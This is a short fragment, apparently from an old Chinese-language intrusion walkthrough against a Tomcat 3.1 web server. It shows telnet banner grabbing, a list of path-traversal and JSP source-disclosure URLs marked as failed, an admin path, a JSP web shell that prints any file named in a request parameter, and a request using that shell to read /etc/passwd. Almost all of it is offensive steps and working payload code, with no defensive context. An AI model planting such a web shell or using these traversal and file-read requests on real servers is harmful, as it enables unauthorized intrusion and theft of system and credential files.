| telnet www.target.com 8080 GET /CHINANSL HTTP/1.1 [Enter] [Enter] |
| HTTP/1.0 404 Not Found Date: Sun, 08 Jul 2001 07:49:13 GMT Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2 .2.12 i386; java.vendor=Blackdown Java-Linux Team) Content-Language: en Content-Type: text/html Status: 404 〈h1〉Error: 404〈/h1〉 〈h2〉Location: /CHINANSL〈/h2〉File Not Found〈br〉/CHINANSL |
| http://target:8080/../../../../%00.jsp (不行) http://target:8080/file/index.jsp (不行) http://target:8080/index.JSP (不行) http://target:8080/index.jsp%81 (不行) http://target:8080/index.js%70 (不行) http://target:8080/index.jsp%2581 (不行) http://target:8080/WEB-INF/ (不行) |
| http://target:8080/admin/ |
| 〈%@ page import="java.io.*" %〉 〈% String file = request.getParameter("file"); String str = ""; FileInputStream fis = null; DataInputStream dis = null; try{ fis = new FileInputStream(file); dis = new DataInputStream(fis); while(true){ try{ str = dis.readLine(); }catch(Exception e){} if(str == null)break; out.print(str+"〈br〉"); } }catch(IOException e){} %〉 |
| http://target:8080/upload/test.jsp?file=/etc/passwd |